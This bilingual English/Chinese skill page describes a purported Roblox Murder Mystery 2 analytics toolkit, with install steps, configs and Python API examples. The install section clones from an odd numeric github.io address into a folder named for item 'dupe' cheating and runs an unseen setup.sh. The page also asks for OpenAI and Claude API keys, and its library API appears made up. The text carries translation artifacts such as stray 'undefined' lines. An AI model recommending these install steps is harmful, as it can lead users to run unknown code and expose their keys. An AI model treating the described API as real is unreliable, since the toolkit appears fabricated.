murder-mystery-2-analytics-toolkit
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseMurder Mystery 2 Analytics Toolkit
Murder Mystery 2 分析工具包
Skill by ara.so — Data Skills collection.
This toolkit provides analytics, inventory management, and strategic gameplay insights for Roblox's Murder Mystery 2 game. It includes data visualization, collection tracking, performance metrics, and AI-powered strategy recommendations.
由ara.so开发的Skill——数据技能合集。
本工具包为Roblox的《Murder Mystery 2》游戏提供数据分析、库存管理及策略玩法洞察功能,包含数据可视化、藏品追踪、性能指标统计以及AI驱动的策略建议。
Installation
安装
Automated Setup
自动安装
bash
chmod +x setup.sh
./setup.sh --installbash
chmod +x setup.sh
./setup.sh --installManual Installation
手动安装
bash
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox
npm install
python3 -m pip install -r requirements.txtbash
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox
npm install
python3 -m pip install -r requirements.txtEnvironment Configuration
环境配置
Create a file with required API keys:
.envbash
API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${CLAUDE_API_KEY}
DATA_DIRECTORY=./data/collections
ANALYTICS_INTERVAL=300
ENABLE_LIVE_TRACKING=true创建文件并填入所需API密钥:
.envbash
API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${CLAUDE_API_KEY}
DATA_DIRECTORY=./data/collections
ANALYTICS_INTERVAL=300
ENABLE_LIVE_TRACKING=trueCore Commands
核心命令
Analytics Engine
分析引擎
Run comprehensive analytics on your MM2 profile:
bash
python3 main.py --mode analytics \
--profile <username> \
--export <output_file>.json \
--format json \
--verbose --log-level DEBUGExample:
bash
python3 main.py --mode analytics \
--profile mystery_solver_01 \
--export statistics_2026.json \
--format json \
--verbose --log-level DEBUG对MM2游戏档案运行全面分析:
bash
python3 main.py --mode analytics \
--profile <username> \
--export <output_file>.json \
--format json \
--verbose --log-level DEBUG示例:
bash
python3 main.py --mode analytics \
--profile mystery_solver_01 \
--export statistics_2026.json \
--format json \
--verbose --log-level DEBUGInventory Tracking
库存追踪
Scan and catalog your knife skins collection:
bash
python3 main.py --mode inventory \
--scan-knives \
--filter legendary,ancient \
--export inventory_report.csv扫描并分类你的刀具皮肤藏品:
bash
python3 main.py --mode inventory \
--scan-knives \
--filter legendary,ancient \
--export inventory_report.csvStrategy Analysis
策略分析
Generate AI-powered strategy recommendations:
bash
python3 main.py --mode strategy \
--role sheriff \
--analyze-patterns \
--export strategy_insights.json生成AI驱动的策略建议:
bash
python3 main.py --mode strategy \
--role sheriff \
--analyze-patterns \
--export strategy_insights.jsonConfiguration
配置
Profile Configuration (YAML)
档案配置(YAML格式)
Create :
config/profile.yamlyaml
profile:
username: "MysterySolver2026"
preferred_role: "sheriff"
inventory_filter:
- category: "knife_skins"
rarity: ["legendary", "ancient"]
- category: "gamepasses"
active: true
analytics_preferences:
tracking_mode: "comprehensive"
data_refresh_rate: 30
export_format: "csv, json"
strategy_templates:
- name: "aggressive_sheriff"
priority: "high_visibility_areas"
- name: "passive_innocent"
priority: "distraction_avoidance"创建:
config/profile.yamlyaml
profile:
username: "MysterySolver2026"
preferred_role: "sheriff"
inventory_filter:
- category: "knife_skins"
rarity: ["legendary", "ancient"]
- category: "gamepasses"
active: true
analytics_preferences:
tracking_mode: "comprehensive"
data_refresh_rate: 30
export_format: "csv, json"
strategy_templates:
- name: "aggressive_sheriff"
priority: "high_visibility_areas"
- name: "passive_innocent"
priority: "distraction_avoidance"JSON Configuration
JSON配置
Alternatively, use :
config/profile.jsonjson
{
"profile": {
"username": "MysterySolver2026",
"preferred_role": "sheriff",
"inventory_filter": [
{
"category": "knife_skins",
"rarity": ["legendary", "ancient"]
}
],
"analytics_preferences": {
"tracking_mode": "comprehensive",
"data_refresh_rate": 30,
"export_format": ["csv", "json"]
}
}
}也可使用:
config/profile.jsonjson
{
"profile": {
"username": "MysterySolver2026",
"preferred_role": "sheriff",
"inventory_filter": [
{
"category": "knife_skins",
"rarity": ["legendary", "ancient"]
}
],
"analytics_preferences": {
"tracking_mode": "comprehensive",
"data_refresh_rate": 30,
"export_format": ["csv", "json"]
}
}
}Python API Usage
Python API 使用方法
Basic Analytics Session
基础分析会话
python
from mm2_analytics import AnalyticsEngine, Profilepython
from mm2_analytics import AnalyticsEngine, ProfileInitialize profile
初始化档案
profile = Profile.load("mystery_solver_01")
profile = Profile.load("mystery_solver_01")
Create analytics engine
创建分析引擎
engine = AnalyticsEngine(profile)
engine = AnalyticsEngine(profile)
Run comprehensive analysis
运行全面分析
results = engine.analyze(
mode="comprehensive",
include_inventory=True,
include_stats=True,
include_strategy=True
)
results = engine.analyze(
mode="comprehensive",
include_inventory=True,
include_stats=True,
include_strategy=True
)
Export results
导出结果
engine.export(results, format="json", output="stats_2026.json")
undefinedengine.export(results, format="json", output="stats_2026.json")
undefinedInventory Management
库存管理
python
from mm2_analytics import InventoryManagerpython
from mm2_analytics import InventoryManagerInitialize inventory manager
初始化库存管理器
inventory = InventoryManager(username="mystery_solver_01")
inventory = InventoryManager(username="mystery_solver_01")
Scan for knife skins
扫描刀具皮肤
knives = inventory.scan_knives(
filter_rarity=["legendary", "ancient"],
include_metadata=True
)
knives = inventory.scan_knives(
filter_rarity=["legendary", "ancient"],
include_metadata=True
)
Get collection completeness
获取藏品完成度
completeness = inventory.get_completeness_score()
print(f"Collection {completeness}% complete")
completeness = inventory.get_completeness_score()
print(f"藏品完成度:{completeness}%")
Find missing items
查找缺失物品
missing = inventory.find_missing_items(category="knife_skins")
for item in missing:
print(f"Missing: {item.name} (Rarity: {item.rarity})")
undefinedmissing = inventory.find_missing_items(category="knife_skins")
for item in missing:
print(f"缺失:{item.name}(稀有度:{item.rarity})")
undefinedStrategy Analysis
策略分析
python
from mm2_analytics import StrategyAnalyzerpython
from mm2_analytics import StrategyAnalyzerInitialize strategy analyzer
初始化策略分析器
analyzer = StrategyAnalyzer(profile="mystery_solver_01")
analyzer = StrategyAnalyzer(profile="mystery_solver_01")
Analyze win patterns
分析获胜模式
patterns = analyzer.analyze_win_patterns(
role="sheriff",
time_period="last_30_days"
)
patterns = analyzer.analyze_win_patterns(
role="sheriff",
time_period="last_30_days"
)
Get AI recommendations
获取AI建议
recommendations = analyzer.get_ai_recommendations(
role="sheriff",
playstyle="aggressive",
use_openai=True # Uses API_OPENAI_KEY from env
)
for rec in recommendations:
print(f"Strategy: {rec.title}")
print(f"Description: {rec.description}")
print(f"Expected Win Rate Increase: {rec.impact}%")
undefinedrecommendations = analyzer.get_ai_recommendations(
role="sheriff",
playstyle="aggressive",
use_openai=True # 使用.env中的API_OPENAI_KEY
)
for rec in recommendations:
print(f"策略:{rec.title}")
print(f"描述:{rec.description}")
print(f"预期胜率提升:{rec.impact}%")
undefinedData Visualization
数据可视化
python
from mm2_analytics import DataVisualizerpython
from mm2_analytics import DataVisualizerCreate visualizer
创建可视化工具
viz = DataVisualizer(profile="mystery_solver_01")
viz = DataVisualizer(profile="mystery_solver_01")
Generate performance chart
生成性能图表
viz.create_performance_chart(
metric="win_rate",
time_range="last_90_days",
output="performance.png"
)
viz.create_performance_chart(
metric="win_rate",
time_range="last_90_days",
output="performance.png"
)
Create inventory distribution chart
创建库存分布图表
viz.create_inventory_chart(
category="knife_skins",
group_by="rarity",
output="inventory_distribution.png"
)
viz.create_inventory_chart(
category="knife_skins",
group_by="rarity",
output="inventory_distribution.png"
)
Export interactive dashboard
导出交互式仪表盘
viz.export_dashboard(
format="html",
output="dashboard.html",
include_charts=["performance", "inventory", "strategy"]
)
undefinedviz.export_dashboard(
format="html",
output="dashboard.html",
include_charts=["performance", "inventory", "strategy"]
)
undefinedCommon Patterns
常见使用模式
Complete Analysis Workflow
完整分析工作流
python
from mm2_analytics import (
Profile,
AnalyticsEngine,
InventoryManager,
StrategyAnalyzer,
DataVisualizer
)python
from mm2_analytics import (
Profile,
AnalyticsEngine,
InventoryManager,
StrategyAnalyzer,
DataVisualizer
)Load profile
加载档案
profile = Profile.load("mystery_solver_01")
profile = Profile.load("mystery_solver_01")
Run inventory scan
运行库存扫描
inventory = InventoryManager(profile=profile)
inventory.scan_all()
inv_report = inventory.generate_report()
inventory = InventoryManager(profile=profile)
inventory.scan_all()
inv_report = inventory.generate_report()
Analyze gameplay statistics
分析游戏统计数据
engine = AnalyticsEngine(profile)
stats = engine.get_stats(time_period="last_30_days")
engine = AnalyticsEngine(profile)
stats = engine.get_stats(time_period="last_30_days")
Generate strategy recommendations
生成策略建议
strategy = StrategyAnalyzer(profile)
recommendations = strategy.get_recommendations(
role=profile.preferred_role,
use_ai=True
)
strategy = StrategyAnalyzer(profile)
recommendations = strategy.get_recommendations(
role=profile.preferred_role,
use_ai=True
)
Create visualizations
创建可视化内容
viz = DataVisualizer(profile)
viz.create_dashboard(
include_inventory=True,
include_stats=True,
include_strategy=True,
output="full_dashboard.html"
)
viz = DataVisualizer(profile)
viz.create_dashboard(
include_inventory=True,
include_stats=True,
include_strategy=True,
output="full_dashboard.html"
)
Export comprehensive report
导出综合报告
engine.export_comprehensive_report(
inventory=inv_report,
stats=stats,
recommendations=recommendations,
format="pdf",
output="mm2_analysis_2026.pdf"
)
undefinedengine.export_comprehensive_report(
inventory=inv_report,
stats=stats,
recommendations=recommendations,
format="pdf",
output="mm2_analysis_2026.pdf"
)
undefinedReal-time Tracking
实时追踪
python
from mm2_analytics import LiveTracker
import timepython
from mm2_analytics import LiveTracker
import timeInitialize live tracker
初始化实时追踪器
tracker = LiveTracker(
profile="mystery_solver_01",
refresh_interval=30 # seconds
)
tracker = LiveTracker(
profile="mystery_solver_01",
refresh_interval=30 # 秒
)
Start tracking session
启动追踪会话
tracker.start()
try:
while True:
# Get current session stats
current = tracker.get_current_session()
print(f"Games Played: {current.games_played}")
print(f"Win Rate: {current.win_rate}%")
print(f"Role Distribution: {current.role_distribution}")
time.sleep(30)except KeyboardInterrupt:
# Stop tracking and save session
session_data = tracker.stop()
tracker.export(session_data, output="session_2026.json")
undefinedtracker.start()
try:
while True:
# 获取当前会话统计
current = tracker.get_current_session()
print(f"已玩游戏数:{current.games_played}")
print(f"胜率:{current.win_rate}%")
print(f"角色分布:{current.role_distribution}")
time.sleep(30)except KeyboardInterrupt:
# 停止追踪并保存会话
session_data = tracker.stop()
tracker.export(session_data, output="session_2026.json")
undefinedBatch Processing Multiple Profiles
批量处理多个档案
python
from mm2_analytics import BatchProcessorpython
from mm2_analytics import BatchProcessorInitialize batch processor
初始化批量处理器
processor = BatchProcessor()
processor = BatchProcessor()
Add profiles to process
添加待处理档案
profiles = ["player1", "player2", "player3"]
processor.add_profiles(profiles)
profiles = ["player1", "player2", "player3"]
processor.add_profiles(profiles)
Run batch analysis
运行批量分析
results = processor.analyze_all(
mode="comprehensive",
parallel=True,
max_workers=4
)
results = processor.analyze_all(
mode="comprehensive",
parallel=True,
max_workers=4
)
Export consolidated report
导出合并报告
processor.export_consolidated_report(
results=results,
format="xlsx",
output="team_analysis_2026.xlsx"
)
undefinedprocessor.export_consolidated_report(
results=results,
format="xlsx",
output="team_analysis_2026.xlsx"
)
undefinedCLI Command Reference
CLI命令参考
Analytics Commands
分析命令
bash
undefinedbash
undefinedBasic analytics
基础分析
python3 main.py --mode analytics --profile <username>
python3 main.py --mode analytics --profile <username>
With specific time range
指定时间范围
python3 main.py --mode analytics --profile <username> --time-range 30d
python3 main.py --mode analytics --profile <username> --time-range 30d
Export to specific format
导出为指定格式
python3 main.py --mode analytics --profile <username> --export stats.csv --format csv
undefinedpython3 main.py --mode analytics --profile <username> --export stats.csv --format csv
undefinedInventory Commands
库存命令
bash
undefinedbash
undefinedScan all inventory
扫描全部库存
python3 main.py --mode inventory --scan-all
python3 main.py --mode inventory --scan-all
Filter by category and rarity
按类别和稀有度筛选
python3 main.py --mode inventory --category knife_skins --rarity legendary,ancient
python3 main.py --mode inventory --category knife_skins --rarity legendary,ancient
Find missing items
查找缺失物品
python3 main.py --mode inventory --find-missing --category knife_skins
undefinedpython3 main.py --mode inventory --find-missing --category knife_skins
undefinedStrategy Commands
策略命令
bash
undefinedbash
undefinedGenerate strategy recommendations
生成策略建议
python3 main.py --mode strategy --role sheriff --analyze-patterns
python3 main.py --mode strategy --role sheriff --analyze-patterns
AI-powered recommendations
AI驱动的建议
python3 main.py --mode strategy --role murderer --use-ai --provider openai
python3 main.py --mode strategy --role murderer --use-ai --provider openai
Export strategy report
导出策略报告
python3 main.py --mode strategy --export strategy.pdf --format pdf
undefinedpython3 main.py --mode strategy --export strategy.pdf --format pdf
undefinedVisualization Commands
可视化命令
bash
undefinedbash
undefinedCreate dashboard
创建仪表盘
python3 main.py --mode visualize --create-dashboard --output dashboard.html
python3 main.py --mode visualize --create-dashboard --output dashboard.html
Generate specific charts
生成指定图表
python3 main.py --mode visualize --chart performance --output perf.png
python3 main.py --mode visualize --chart performance --output perf.png
Export interactive report
导出交互式报告
python3 main.py --mode visualize --interactive --output report.html
undefinedpython3 main.py --mode visualize --interactive --output report.html
undefinedTroubleshooting
故障排除
Inventory Sync Issues
库存同步问题
If inventory data is not syncing:
python
from mm2_analytics import InventoryManager
inventory = InventoryManager(username="mystery_solver_01")如果库存数据无法同步:
python
from mm2_analytics import InventoryManager
inventory = InventoryManager(username="mystery_solver_01")Force refresh
强制刷新
inventory.force_refresh()
inventory.force_refresh()
Clear cache and rescan
清除缓存并重扫描
inventory.clear_cache()
inventory.scan_all(force=True)
inventory.clear_cache()
inventory.scan_all(force=True)
Verify connection
验证连接状态
status = inventory.check_connection()
print(f"Connection Status: {status}")
undefinedstatus = inventory.check_connection()
print(f"连接状态:{status}")
undefinedAPI Rate Limiting
API速率限制
Handle API rate limits gracefully:
python
from mm2_analytics import StrategyAnalyzer
from mm2_analytics.exceptions import RateLimitError
import time
analyzer = StrategyAnalyzer(profile="mystery_solver_01")
try:
recommendations = analyzer.get_ai_recommendations(use_openai=True)
except RateLimitError as e:
print(f"Rate limit hit. Retry after {e.retry_after} seconds")
time.sleep(e.retry_after)
recommendations = analyzer.get_ai_recommendations(use_openai=True)优雅处理API速率限制:
python
from mm2_analytics import StrategyAnalyzer
from mm2_analytics.exceptions import RateLimitError
import time
analyzer = StrategyAnalyzer(profile="mystery_solver_01")
try:
recommendations = analyzer.get_ai_recommendations(use_openai=True)
except RateLimitError as e:
print(f"触发速率限制。{e.retry_after}秒后重试")
time.sleep(e.retry_after)
recommendations = analyzer.get_ai_recommendations(use_openai=True)Data Export Failures
数据导出失败
Debug export issues:
python
from mm2_analytics import AnalyticsEngine
import logging调试导出问题:
python
from mm2_analytics import AnalyticsEngine
import loggingEnable verbose logging
启用详细日志
logging.basicConfig(level=logging.DEBUG)
engine = AnalyticsEngine(profile="mystery_solver_01")
results = engine.analyze()
try:
engine.export(results, format="json", output="stats.json")
except Exception as e:
# Log detailed error
logging.error(f"Export failed: {e}")
# Try alternative format
engine.export(results, format="csv", output="stats.csv")undefinedlogging.basicConfig(level=logging.DEBUG)
engine = AnalyticsEngine(profile="mystery_solver_01")
results = engine.analyze()
try:
engine.export(results, format="json", output="stats.json")
except Exception as e:
# 记录详细错误
logging.error(f"导出失败:{e}")
# 尝试替代格式
engine.export(results, format="csv", output="stats.csv")undefinedPerformance Optimization
性能优化
For large datasets:
python
from mm2_analytics import AnalyticsEngine
engine = AnalyticsEngine(
profile="mystery_solver_01",
cache_enabled=True,
parallel_processing=True,
max_workers=4
)针对大型数据集:
python
from mm2_analytics import AnalyticsEngine
engine = AnalyticsEngine(
profile="mystery_solver_01",
cache_enabled=True,
parallel_processing=True,
max_workers=4
)Use incremental analysis for large time ranges
对长时间范围使用增量分析
results = engine.analyze_incremental(
start_date="2026-01-01",
end_date="2026-12-31",
chunk_size="30d"
)
undefinedresults = engine.analyze_incremental(
start_date="2026-01-01",
end_date="2026-12-31",
chunk_size="30d"
)
undefinedAdvanced Features
高级功能
Custom Data Filters
自定义数据筛选器
python
from mm2_analytics import DataFilterpython
from mm2_analytics import DataFilterCreate custom filter
创建自定义筛选器
filter = DataFilter()
filter.add_condition("role", "equals", "sheriff")
filter.add_condition("win_rate", "greater_than", 0.5)
filter.add_condition("games_played", "between", [10, 100])
filter = DataFilter()
filter.add_condition("role", "equals", "sheriff")
filter.add_condition("win_rate", "greater_than", 0.5)
filter.add_condition("games_played", "between", [10, 100])
Apply filter to analysis
将筛选器应用于分析
engine = AnalyticsEngine(profile="mystery_solver_01")
filtered_results = engine.analyze(filter=filter)
undefinedengine = AnalyticsEngine(profile="mystery_solver_01")
filtered_results = engine.analyze(filter=filter)
undefinedAI Model Selection
AI模型选择
python
from mm2_analytics import StrategyAnalyzer
analyzer = StrategyAnalyzer(profile="mystery_solver_01")python
from mm2_analytics import StrategyAnalyzer
analyzer = StrategyAnalyzer(profile="mystery_solver_01")Use OpenAI
使用OpenAI
openai_recs = analyzer.get_ai_recommendations(
provider="openai",
model="gpt-4",
api_key="${OPENAI_API_KEY}"
)
openai_recs = analyzer.get_ai_recommendations(
provider="openai",
model="gpt-4",
api_key="${OPENAI_API_KEY}"
)
Use Claude
使用Claude
claude_recs = analyzer.get_ai_recommendations(
provider="claude",
model="claude-3-opus",
api_key="${CLAUDE_API_KEY}"
)
undefinedclaude_recs = analyzer.get_ai_recommendations(
provider="claude",
model="claude-3-opus",
api_key="${CLAUDE_API_KEY}"
)
undefinedMulti-Language Support
多语言支持
python
from mm2_analytics import AnalyticsEnginepython
from mm2_analytics import AnalyticsEngineSet language for reports
设置报告语言
engine = AnalyticsEngine(
profile="mystery_solver_01",
language="es" # Spanish
)
engine = AnalyticsEngine(
profile="mystery_solver_01",
language="es" # 西班牙语
)
Generate localized report
生成本地化报告
report = engine.generate_report(localized=True)
This toolkit is designed for analytical and educational purposes. Always comply with Roblox Terms of Service when collecting and analyzing game data.report = engine.generate_report(localized=True)
本工具包仅用于分析和教育目的。收集和分析游戏数据时,请始终遵守Roblox服务条款。